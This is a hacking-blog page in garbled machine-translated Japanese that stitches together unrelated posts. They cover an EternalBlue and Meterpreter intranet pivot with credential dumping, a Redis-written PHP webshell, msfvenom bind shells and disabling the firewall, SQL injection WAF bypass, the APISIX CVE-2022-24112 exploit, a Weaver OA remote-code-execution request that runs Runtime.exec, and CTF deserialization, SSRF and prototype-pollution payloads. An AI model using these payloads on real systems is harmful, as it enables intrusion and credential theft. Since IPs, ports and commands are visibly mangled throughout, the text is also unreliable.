Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863291127

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

ネットワーク構成

外部ネットワークWIN7:IP1: 192.168.127.91/255.255.255.0、GW:192.168.127.2(NATモード)IP2:1010.0.0.20.98-VMNET1(ホストモード)ドメインホストモード:10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0。のみ)10.0.10.111-VMNET2(ホストモードのみ)ドメイン制御:10.0.10.110-VMNET2(ホストモードのみ)パスワード構成:Win7:Win7/Adminwin2016:administrator/admin@123、 ARP-SCAN -L同じネットワークセグメント1049983-20221213191711513-1626284435.pngの存続ホストをスキャンしている生存ホスト:192.168.127.91ポートをスキャンして、生き残ったターゲットマシンのIPアドレスをスキャンします

NMAP -SC -T4 192.168.127.91 1049983-20221213191712192-145196284.pngターゲットシステムがWin7であり、445ポートが開いていることを発見しました。 Eternal Blue(MS17-010)を使用してターゲットシステム

情報収集

にヒットしてみてください

イントラネットホストの浸透

KALIにコマンドを入力:MSFConsoleMSF 6検索17-010MSF 6使用ペイロードWindows/X64/MeterPreter/Reverse_TCPMSF 6 SET LPORT 66666MSF 6セットLHOST 192.18.129.127.127.127.127.127.127.127. 192.168.127.91msf 6 Run 1049983-20221213191712956-1029759909.pngMeterPreterShellc: \ Windows \ System32IpConfig 1049983-20221213191713593-1283889188.png私はいくつかの文字化けコードを見つけたので、C: \ Windows \ System32CHCP 65001#65001#65001#65001#65001#65001#65001 c: \ windows \ system32ipconfig#iは2つのネットワークセグメントを見つけました。1つは192.168.127ネットワークセグメント、もう1つは10.0.20ネットワークセグメント1049983-20221213191714161-1094728529.pngC: \ Windows \ System32Whomai 1049983-20221213191714702-252348703.pngC: \ windows \ system32tasklist/svc#view#view system in system 1049983-20221213191715346-1589597284.pngc3: \ windows \ system32exit #exit shellコマンド末端1049983-20221213191715906-298369840.pngmeterleterloadoload loadoload loadoload loadoload load load load loadoload MeterPreterCreds_All#すべての現在のユーザーのログイン資格情報をゲットし、ユーザー名がWin7であり、パスワードは管理者1049983-20221213191716474-911388489.png

010-10ダイレクトアクセス、3http://192.168.127.91 oa。現在のバージョンは11.33http://192.168.127.91/inc/inc/expired.php 1049983-20221213191717943-640772642.png Tongdaの検索11.3既存のファイルには検索エンジンを介した脆弱性が含まれています:https://blog.csdn.net/hackzkaq/article/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/11590000 1049983-20221213191718577-2099848132.png Ant Sword 1049983-20221213191719216-2051261566.png 1049983-20221213191719873-1907814987.pngを使用して正常に接続すると、Ant Swordのコマンドターミナルの下で現在のユーザーをシステム許可に表示する許可は、1049983-20221213191720452-937084830.png

Web浸透

がシェルが移住している場合に依然として壊れている場合に依存しているときに、シェルが発生します。ディスクへの書き込み操作のないターゲットマシンの安定したプロセスにより、浸透が検出がより困難になります。

自動移行プロセスコマンド(post/windows/manage/magrateの実行)の後、システムは自動的に適切なプロセスを見つけてから、メータープレターを移行してから、1080のspoolsv.exeからspoolsv.exeを管理/移行します。1049983-20221213191721606-1086021725.pngADDダイナミックルートメータープレーターはAutoroute -S 10.0.20.0/24またはMeterPreter BackgroundMeterPreter Sessionsmsf6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)を使用します。 1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191722153-1006008758.pngMETERPRETERバックグラウンド1049983-20221213191722667-1892001697.png生き残ったホストMSF6エクスポロイトを発見(Windows/SMB/MS17_010_ETERNALBLUE) Exploit(Windows/SMB/MS17_010_ETERNALBLUE)セッションセッション1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)SET RHOSTS 10.0.20.1-254MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191723297-1260029520.png Survive host.20.9 SOCKS5 Proxy MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用補助/サーバー/SOCKS_PROXYMSF6 AUXILIARY(SERVER/SOCKS_PROXY)1049983-20221213191723930-1794879283.png 1049983-20221213191724427-2109448838.pngポートスカンシングを修正する必要があります。構成ファイル

VIM /TC/PROXYCHAINS4.CONFSOCKS5 127.0.0.1 1080スキャンNMAPプロキシチェーンを介してターゲットIPの一般的に使用されるポートをスキャンNMAP -ST -PN 10.0.20.99 -P22,23,80,139,445,1433,3306,3389,6379 1049983-20221213191725085-1001411680.pngは、10.0.20.99のホストがポート6379および80に開かれていることを発見しました。ここには、ローカルソックス5プロキシサービスプロキシアソフトウェア1049983-20221213191725785-1588524664.pngがDirsearchをスキャンし、ターゲットがPHPINFO.PHPセンシティページを持っていることを発見しました。 200,302 - Format CSV -O C: \ Users \ backlion \ Desktop \ dirsearch-master \ xxx.com.csvまたは攻撃機の下でプロキシチェインを実行するか、kali python dirsearch.py -u http://10.0.0.20.99 -i -Proxy=Socks5: //127.0.0.1:1080 -T 5 1049983-20221213191726385-1294028240.png PHPINFO.PHPページにアクセスして、ウェブサイトの絶対パスが公開されていることを確認してください:C:/PHPSTUDY/PHPTUORIAL/WWW/333333333810.0.0.PHPT.0.PHPT.0.0.PHPTURE 1049983-20221213191727081-1201665938.png

http://10.0.20.99/l.php 1049983-20221213191727770-861141790.png 010-10 Redis-Cli Command Proxychains Redis-Cli -H 10.0.20.99を介したパスワードなしのリモート接続'c:/phpstudy/phptutorial/www/' #switchシェル10.0.20.20.99:606379セットx '\ n \ n \ n?php @eval($ _ post [' x ']); 10.0.20.99:6379 Config set dbfileName shell.php#ファイル名をshell.php10.0.0.20.993:6379 Save 1049983-20221213191728929-503785144.pngここに、地元のホストのAnt Swordを介したプロキシです。1049983-20221213191730770-72949433.pngView現在のユーザーの許可はシステム1049983-20221213191731393-709923329.png

ハンドアロンの浸透

フォワードシェルコデムスフヴェンム-P Windows/x64/meterpreter/bind_tcp lport=3333 -f exe shell.exe 1049983-20221213191732625-154911111.pngを実行して、リスナーを構成します

Exploit/Multi/Handlerset Payload Windows/x64/meterpreter/bind_tcpset lport 33333set rhost 10.0.20.99run 31049983-20221213191733277-1105419620.png Firewall netsh firewalsetopmodemode=disable 010-69556 run shell.exe in the Antable同じネットワークセグメントホストMeterPreter ARP 1049983-20221213191735076-285032627.pngスキャン10.0.10.110ネットワークセグメント移行プロセスRun Post/Windows/Manage/Migrate

一部の友人は、グループでのSQL注射の問題に遭遇することがよくあります。時々WAFがあり、時には盲目で、時には始める方法がわからないこともありますか?今日はスーパーインジェクションツールの名前とツールを共有しています

住所をダウンロード:https://github.com/shack2/supersqlinicturev1

ケース1: WAFを使用したブラインドノート

qlicmp4hmuz3500.png

以下の図に示すように、単一の引用は報告されたエラーを報告し、エラーはエコーします。この状況は、典型的なブールブラインドノートです。 1=1またはまたは1=1などのステートメントを作成できる限り、データを作成できます。

agpjxmg1cnq3501.png

以下はMySQLデータベースです。これは、通常、Booleanを注入する機能の場合に使用されるために使用されます。 WAFは通常、単一のif()をブロックしませんが、if(1,1,1)のようなif(1,1,1)をブロックします。ブロックされている場合は、1を11〜10、2で12-10に置き換えることができます。

hqfpejb4m1j3502.png

5fifeua5xwi3503.png

次に、スーパーインジェクションツールにシャトルを使用してください。

bopkbocfn2z3504.png

WAFルールをバイパスすることは次のとおりです。比較的簡単です

g1ppotqtf4q3505.png

ケース2:

ケース1で構築されたものは、スーパーインジェクションツールのページで返されるコンテンツを識別し、1=1の正しいページフィールドと1=2の間違ったページのフィールドを決定することです。通常のツールは注入点を認識できないため、フィールドを指定し、ツールにブールインジェクションの基礎を与える必要があります!

別の例を見てみましょう。私が意味することを理解できることを願っています。

次の図はまだmysqlであり、ifを正常に構築する

ruyctvy1usu3506.png

zffinicjro33507.png

メッセージはスーパーインジェクションツールに貼り付けられます。このツールは、ブラインドベットをテストするときに1=1および1=2のみをテストします。したがって、ifの最初の位置でペイロードを設定し、右下隅のボックスを見て、正しいページのエコー値が識別されました。その後、データが出てきます!

ppmv14xyhgc3508.png

ケース3:

これがMSSQLタイプです、

つまり、SQL-SERVER。サイトにはWAFがあります。インターセプトせずにテストまたは1=1および1=2。 1=1を使用して、データパケットを作成します。 SQLインジェクションツールは、ブール値を認識できます。

uy4br54tnpp3509.png

次に、データのブレーンストーミングはありません。

s2g5vtwgn1r3510.png

元の接続:https://mp.weixin.qq.com/s/jrv1zljz3ibtlorcxwdo-q

必要性

フロントエンドの分離は、Webで大きな傾向になりました。 Tomcat+ngnixを介して効果的に分離することができます(中央にnode.jsもある場合があります)。さらに、フロントエンドとバックエンドの分離は、将来の大規模な分散アーキテクチャ、弾性コンピューティングアーキテクチャ、マイクロサービスアーキテクチャ、およびマルチターミナルサービス(ブラウザー、ビーチクルターミナル、Android、IOSなど)の複数のクライアント)の強固な基盤を築きます。 APIは、フロントエンドコミュニケーションの責任を引き受けます。したがって、APIセキュリティを学習する必要があります。

この記事のアイデアは、APIのいくつかの一般的な攻撃表面を要約することです。著者はまだこの領域を学んでいます。間違いがあれば、あなたがそれを修正できることを願っています。

一般的なAPIテクノロジー

graphql

GraphQlは、APIのクエリ言語です

通常、次の特性があります。

(1)データパケットは /graphqlインターフェイス1049983-20230129135917968-89120057.pngに送信されます

(2)多くの新しい文字が含まれています\ n

{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} Webサービスの説明を、クライアントがドキュメント情報またはプロセスコールを含むサービスにアクセスできるサービスアクセスポイントのセットとして定義します。 SOAPプロトコルが使用され、通常はXML形式のデータが送信され、WSDLファイル1049983-20230129135918652-993812695.pngがあります

.netのcommon.asmxファイルもwsdl形式xxx.asmx?wsdl 1049983-20230129135919449-1509316087.pngを持っています

Soapuiを使用して、このタイプのAPIをテストできます

soap-wsdl

ファイルに非常に明白なWADLロゴがあります

1049983-20230129135920363-2085092611.png

SoapuiのREST機能をテストに使用することもできます

1049983-20230129135921297-1009304781.png

wadl

REST APIは以前のものほど明白ではなく、最近最も一般的に使用されているAPIテクノロジーでもあります

RESTは、プロトコルや標準ではなく、建築仕様のセットです。 API開発者は、さまざまな方法でRESTを実装できます。

クライアントがRESTFUL APIを介してリクエストを行うと、リソースステートメントをリクエスターまたは端末に渡します。この情報または式は、JSON(JavaScriptオブジェクト表記)、HTML、XLT、Python、PHP、またはプレーンテキストのいずれかの形式のいずれかでHTTPを介して送信されます。 JSONは、最も一般的に使用されるプログラミング言語です。元の英語名は「JavaScriptオブジェクト表記」を意味しますが、さまざまな言語に適しており、人間と機械の両方で読むことができます。

注意すべきことがいくつかあります。ヘッダーとパラメーターは、リクエストされたメタデータ、承認、統一リソース識別子(URI)、キャッシュ、Cookieなどの重要な識別情報が含まれているため、RESTFUL API HTTP要求のHTTPメソッドでも重要です。リクエストヘッダーと応答ヘッダーがあり、それぞれに独自のHTTP接続情報とステータスコードがあります。

休息

APIのセキュリティテストについては、通常、APIの許可問題、APIエンドポイントのセキュリティ問題、インフラストラクチャに焦点を当てています。

APIエンドポイントのセキュリティ問題をテストするには、できるだけ多くのAPIエンドポイントを取得しようとする必要があります

エンドポイントを取得する方法

Swaggerは、RestfulスタイルのWebサービスを生成、説明、呼び出し、視覚化するための標準化された完全なフレームワークです

一般的な指紋:

#swagger 2

/swagger-ui.html

/API-DOCS

/v2/api-docs

#swagger 3

/swagger-ui/index.html

1049983-20230129135922103-1944238266.png

/API-DOCS

/v2/api-docs

/v3/api-docs

.

API-DOCは、すべてのエンドポイント情報1049983-20230129135922819-1063074218.pngを表示できます

テスト用の2つのツールを次に示します

最初のものはSwagger-Editorです

https://github.com/swagger-api/swagger-editor

ダウンロード後、index.htmlを開くことで使用できます。 URLをインポートまたはリモートロードすることを選択できます。 JSONおよびYAML形式のAPI-DOCをサポートします。

2つ目はapikit3https://github.com/api-security/apikitです

バーププラグイン1049983-20230129135924555-102219345.png

swagger api-docsリーク

すべてのエンドポイント情報を取得します

https://mp.weixin.qq.com/s/gp2jgrlpllsh5xn7vn9bwq

{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} 1049983-20230129135925462-2091935808.png

これを使用して、インターフェイスドキュメントを生成できます。

https://github.com/2fd/graphdoc

nodejs test.jsonが必要なのは、内省的クエリによって返されるJSON形式のデータです

NPMインストール-G @2FD/GraphDoc

graphdoc -s ./test.json -o ./doc/schema

次に、生成された/doc/index.html 1049983-20230129135926397-616747756.pngを開きます

彼のフォーマット1049983-20230129135927015-1949031907.png 1049983-20230129135927700-609525478.pngに従ってデータパケットを構築するだけです

graphql内省的クエリ

ブラックボックステストでは、APIエンドポイントが完全には見つからないことです。対応するアプリケーションまたは他の側面からそれらを探す必要があります。

(1)Web

JS HTMLなどの静的リソースには、いくつかのAPIエンドポイントを持つことができます

バーププラグインJS Linkfinderは受動的に収集できます

(2)アプリおよびその他のクライアントアプリケーション

(3)github

(4)ルールのファズによると

その他

認証方法

APIが要求されるたびにユーザーのユーザー名とパスワードを提供する

通常、HTTPパケットに認証ヘッダーがあります

Authorization: Basic Base64(username:password)

これは安全性が比較的低く、現在はめったに使用されていません

基本的な認証

JWT(JSON Webトークン)は、トークンベースの認証と認証メカニズムです

3つの部分に分かれています

Header:は、JWTのメタデータを説明し、署名を生成するためのアルゴリズムとトークンのタイプを定義します。 Payload:は、継続する必要があるデータを保存するために使用されます。サーバーは、JWTが計算方法暗号化アルゴリズム(base64(header) + ')、1049983-20230129135928401-1047672463.pngの計算方法の改ざんを防ぐために、ヘッダーで指定された署名アルゴリズム(デフォルトはhmac sha256)を使用します。

オンラインテストhttps://jwt.io/1049983-20230129135929184-1826635181.png

通常のトークンには、バックエンドストレージとユーザーの間に対応する関係が必要ですが、JWTは対応する関係自体を運びます

jwt

Apikeyやランダムに生成された他の形式のトークン

その他のカスタムヘッダー、Cookie

一般的な安全性の問題とテスト方法

APIゲートウェイは、クライアントとマイクロサービスの間に構築されたサービスです。許可確認、監視、キャッシュ、リクエストルーティングなど、APIゲートウェイのいくつかの非ビジネス機能ロジックを処理できます。

APIゲートウェイは、マイクロサービスシステム全体のファサードのようなもので、システムの唯一の入り口です。これにより、クライアントは最初にAPIゲートウェイにリクエストを送信し、次にAPIゲートウェイが要求された識別情報に基づいてマイクロサービスインスタンスにリクエストを転送します。1049983-20230129135929803-1056153117.png

APIゲートウェイ

Apache Apisixは、Apache Software Foundationの下にあるCloud-Native API Gatewayです。ダイナミック、リアルタイム、および高性能の機能を組み合わせて、ロードバランス、ダイナミックアップストリーム、グレースケールリリース(カナリアリリース)、サービスサーキットブレーカー、アイデンティティ認証、観測性などの豊富な交通管理機能を提供します。同時に、K8Sイングレスコントローラーとしてもサポートされています。 Apisixは以前にコマンド実行の脆弱性CVE-2022-24112を公開しました(現在の最新バージョンは3.0)

衝撃の範囲:

Apache Apisix 1.3〜2.12.1の間のすべてのバージョン(2.12.1を除く)

Apache Apisix 2.10.0〜2.10.4 LTS間のすべてのバージョン(2.10.4を除く)は脆弱性環境を構築します

git clone https://github.com/twseptian/cve-2022-24112 ## get dockerfileを入手してください

CD CVE-2022-24112/apisix-docker/example/##対応するディレクトリを入力します

docker -compose -p docker -apisix up -d ## dockerに基づいてすべてのapisixサービス利用条件を開始

Batch-Requestsプラグインはデフォルトで有効になります。

ユーザーは、Apache Apisixデフォルトの構成を使用します(管理者APIを有効にし、デフォルトの管理キーを使用し、追加の管理ポートが割り当てられていません)。攻撃者は、Batch-Requestsプラグインを介して管理者APIを呼び出すことができます。アイデアを攻撃します

1.バッチリクエストプラグインの脆弱性を使用して、バイパス要求ヘッダー検出をバイパスします。

2。要求ヘッダーを偽造して、管理者APIにルートを登録します。

3.ルートを登録すると、パラメーターFilter_FUNCがLUAコードを渡し、リモートコード実行の脆弱性Expを引き起こします。

https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

特定のアプリケーションには、バックグラウンドRCEがあります。関連情報によると、バックグラウンド監査プロセスでNewinstanceインスタンス化への呼びかけが見つかりました。

1049983-20221230170129034-671147105.jpg

ソースをトレースし、interfacere -gistercustomoperationcmd #excuteを見つけます

1049983-20221230170129956-1020521781.jpg 1049983-20221230170130646-385254389.jpg 1049983-20221230170131290-137097182.jpg 1049983-20221230170131980-1777197742.jpgアクセスパスは/API/Integration/Workflowflow/GetInterfacereGisterCustomoperationです

GetInterFacereGisterCustomoperation Calluteを実行し、最初にユーザーを審査するため、ここにはバックグラウンドの脆弱性があります

1049983-20221230170132700-2106793641.jpg

この汚染関数javacodetoobjectが必要なので、ifの条件を満たし、var18とvar20を制御する必要があります

1049983-20221230170133379-129851401.jpg

ここでは、var14を追加する必要があります

1049983-20221230170134013-1295699688.jpg

var14の値は、postメソッドが前に指定されているため、リクエストパラメーターメソッドから取得されるため、ここでメソッド=add

1049983-20221230170134726-485666733.jpg

判断を下した後、VAR15の値は空の場合に返されるため、ActionIDの値は空になりません。上記の条件と組み合わせると、method=addactionId=1

1049983-20221230170135481-1496417566.jpg

VAR18の開始がweaver.interfaces.workflow.action.javacode.actionが次の判断を入力して、例外をスローする場合、望ましい結果を達成できません。ここでclassname=weaver.interfaces.workflow.action.javacode.action、上記のパラメーターmethod=addactionid=1classname=weaver.interfaces.workflow.action.javacode.action

1049983-20221230170136238-102379160.jpg

次のVAR20値はJavacodeパラメーターから取得され、上記のペイロード方法=addactionId=1classname=weaver.interfaces.workflow.action.javacode.actionjavacode=

1049983-20221230170136847-546769203.jpg

var18にweaver.interfaces.workflow.action.javacodeが含まれている場合、javacodetoo objectコールに必要な場合、classname=weaver.interfaces.workflow.action.javacode.action.interfaces.workflow.action.action.javacode.actionが接続に使用されます。それ以外の場合、読み込み例外が報告されます。

1049983-20221230170137504-33586078.jpg

上記の条件によると、VAR18およびVAR20の条件は満たされています。構築されたvar20のパラメーターはjavacode=package weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacodeです。 java.io.ioexceptionをインポートします。 public class test {static {try {runtime.getRuntime()。exec( 'calc.exe'); } catch(ioexception e){e.printstacktrace(); }}}ここで、コマンドによって実行されたコードは、静的コードブロックに配置されます。これは、staticのコードがインスタンス化中に自動的に実行され、コマンドの実行が達成されるためです。

1049983-20221230170138280-888687245.jpg

実際のパッケージは正常に使用されていないようです。コードを振り返って、パラメーターがdtinfo_customparameterdataに紛失したことがわかりました

POST/API/Integration/Workflowflow/getInterFacereGisterCustomoperation HTTP/1.1

host:

アップグレード-Insecure-Requests: 1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/105.0.0.0 safari/537.36 EDG/105.0.0.1343.3333333333333333333333333

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: ecology_jsessionid=aaa8g6prbnnbd82yi6fky; jSessionId=aaa8g6prbnnbd82yi6fky; __randcode __=D2FA15E2-395E-4B3B-A004-82FC07C18695; loginidweaver=1; LanguageIdWeaver=7; loginuuids=1

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 548

メソッド=addactionId=1classname=weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode.testdtinfo_customparameterdata=11javacode=package weaver.interfaces.workflow.action.javacode.weaver.weaver.weaver.weaver.weaver.caction.wevever.weaver.caction.wever.weaver.cact

java.io.ioexceptionをインポートします。

パブリッククラステスト{

static {

試す {

runtime.getRuntime()。exec( 'calc.exe');

} catch(ioException e){

e.printstacktrace();

}

}

}

1049983-20221230170139043-1135092367.png

転載:https://xz.aliyun.com/t/11947

プルアイテム

最初にGitHubからサーバーにクローンを作成します。

git clone https://github.com/ki9mu/arl-plus-cocker/file

構成ファイルを変更

ARLには構成ファイルにブラックリストがあるため、プロジェクトがGOVまたはEDUなどがスキャンできない場合があるため、ここで構成ファイルを変更すると制限を引き上げることができます。

CD arl-plus-docker/

vi config-docker.yamlここでブラックリストのいくつかのアイテムを削除するだけです

file

変更後:

file

RiskIQおよびFOFA APIを追加および変更します

1049983-20221208103845056-23542144.png

OneForAllモジュールは拡張バージョンに追加されるため、クローンのデフォルトコードがフレーズであるため、構成ファイルで開く必要があります。ここではTTUEでオンにするスイッチを交換できます。

VI OneForall-Config/Setting.py file

変更後:

file

構成ファイルに変更したら、Dockerを開始します。最初にボリュームを追加し、次にDocker -Compose Up -Dを直接開始できます。画像を引くときに非常に遅い場合は、Dockerソースを変更できます。

DockerボリュームCREATE -NAME=ARL_DB

Docker-Compose Up -D file

完了の行が表示されると、成功していることを意味します。この時点では、Pythonスクリプトにブラックリストもあるため、Pythonコードを変更するためにコンテナを入力する必要があります。最初にDocker PSを使用してコンテナIDを確認し、このコンテナを変更して編集するためにVIを使用します。

Docker PS #ViewコンテナID

docker exec -it対応するID bash

変更前のvi app/config.py:

file

file

指紋を追加

インストールが成功した後、指紋を追加して灯台に強い指紋を与えます。

住所:https://VPS:5003/!

デフォルトアカウントの秘密:admin \ arlpass

git clone https://github.com/loecho-sec/arl-finger-add

CD arl-finger-add

python arl-finger-add.py -o https://vps:5003/admin arlpasscopy file

インストールに正常に

デフォルトのパスワードでログインし、右上隅のデフォルトのパスワードを変更して、喜んで使用します。

babyphp

index.php:

?php

//flag.phpの何か

クラスA

{

public $ a;

public $ b;

パブリック機能__wakeup()

{

$ this-a='babyhacker';

}

パブリック機能__invoke()

{

if(isset($ this-a)$ this-a==md5($ this-a)){

$ this-b-uwant();

}

}

}

クラスb

{

public $ a;

public $ b;

public $ k;

function __destruct()

{

$ this-b=$ this-k;

die($ this-a);

}

}

クラスc

{

public $ a;

public $ c;

パブリック機能__toString()

{

$ cc=$ this-c;

$ cc()を返します。

}

パブリック関数uwant()

{

if($ this-a=='phpinfo'){

phpinfo();

} それ以外{

call_user_func(array(reset($ _ session)、$ this-a));

}

}

}

if(isset($ _ get ['d0g3'])){

ini_set($ _ get ['baby']、$ _get ['d0g3']);

session_start();

$ _SESSION ['SESS']=$ _POST ['SESS'];

}

それ以外{

session_start();

if(isset($ _ post ['pop'])){

Unserialize($ _ post ['pop']);

}

}

var_dump($ _ session);

highlight_file(__ file__);

flag.php:

?php

session_start();

highlight_file(__ file__);

//ルートディレクトリのフラグ

if($ _ server ['remote_addr']==='127.0.0.1'){

$ f1ag=inprode(array(new $ _get ['a']($ _ get ['b'])));

$ _Session ['f1ag']=$ f1ag;

}それ以外{

echo 'only localhost !';

}

ポップチェーンを構築することで、SESSION.SERIALIZE_HANDLERがPHPであり、flag.phpのソースコードと組み合わされていることがわかります。SSRFを実行するためにセッションがSOAPCLIENTを希望すると推測されます。

アイデアは、最初にini_setのパラメーターを制御して、serialize_handlerをphp_serializeとして指定し、パラメーターsessをsoapclientの脱isizationのペイロードとして渡し、すべてのポストパラメーターを取得し、ページに1回アクセスして脱izerializationをトリガーすることです。最後に、既知のポップチェーンを使用して、soapclient __callメソッドを呼び出してssrfをトリガーします

SSRFはまず、PHPのネイティブクラスGlobiteratorを使用して、ルートディレクトリ内のFから始まるファイルを見つけ、次にSplFileObjectを使用してフラグを読み取ります。

ポップチェーンPayload:

?php

クラスA

{

public $ a;

public $ b;

}

クラスb

{

}

クラスc

{

public $ a;

public $ c;

}

$ cc=new C();

$ cc-a='xxxx';

$ a=new a();

$ a-a='0E215962017';

$ a-b=$ cc;

$ c=new C();

$ c-c=$ a;

$ b=new b();

$ b-a=$ c;

Echo Serialize($ b);

SSRF Payload:

?php

//$ a=new soapclient(null、array( 'location'='http://127.0.1/flag.php?a=globiteratorb=/f*'、 'user_agent'='='='=' 'テスト'));

$ a=new SoapClient(null、array( 'location'='http://127.0.1/flag.php?a=splfileobjectb=/f111111lllllllllaagg'、 'user_agent'='111 \ r \ ncookie: phpsessid=c9urdtg4k4kp5jl36mml4qfp5jl36M 'uri'='test'));

$ b=serialize($ a);

echo '|' .urlencode($ b);

最初にGlobiteratorを使用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

splfileobjectを再利用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

ez_js

ログインインターフェイスとアカウントのパスワードを自由に入力すると、 /cookieルートにジャンプし、右クリックしてjsfuck復号化プロンプトをコメントします。

ホームページを右クリックして、次のようにコメントします:

! - この秘密はセキュリティのために7文字の長いです!

Hash=Md5(Secret+'Flag'); //1946714CFA9DEB70CC40BAB32872F98A

管理者クッキーはですMD5(Secret+UrldeCode( 'フラグ%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%

-

1目のハッシュ長拡張攻撃

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

Cookie Hashを直接変更し、役に立たないことがわかりました。その後、ユーザーIDは空になり、エラーが発生しました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

以前のヒントと組み合わせて、JS :の上限と小文字の機能を使用します

'ı'.touppercase()==' i '//true

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

次に、 /infoflllllagにジャンプします(静的環境は30分ごとにリセットされるため、前の写真がキャプチャされます)

var Express=require( 'Express');

var router=express.router();

const isobject=obj=obj obj.constructor obj.constructor===object;

const merge=(a、b)={

for(b in bのvar attr){

if(isobject(a attr])isobject(b [attr])){

マージ([attr]、b [attr]);

} それ以外{

a [attr]=b [attr];

}

}

aを返します

}

const clone=(a)={

MERGE({}、a)を返します。

}

router.get( '/'、function(req、res、next){

if(req.flag=='flag'){

//出力フラグ;

res.send( 'flag ???');

}

Res.Render( 'Info');

});

router.post( '/'、express.json()、function(req、res){

var str=req.body.id;

var obj=json.parse(str);

req.cookies.id=clone(obj);

Res.Render( 'Info');

});

module.exports=router;

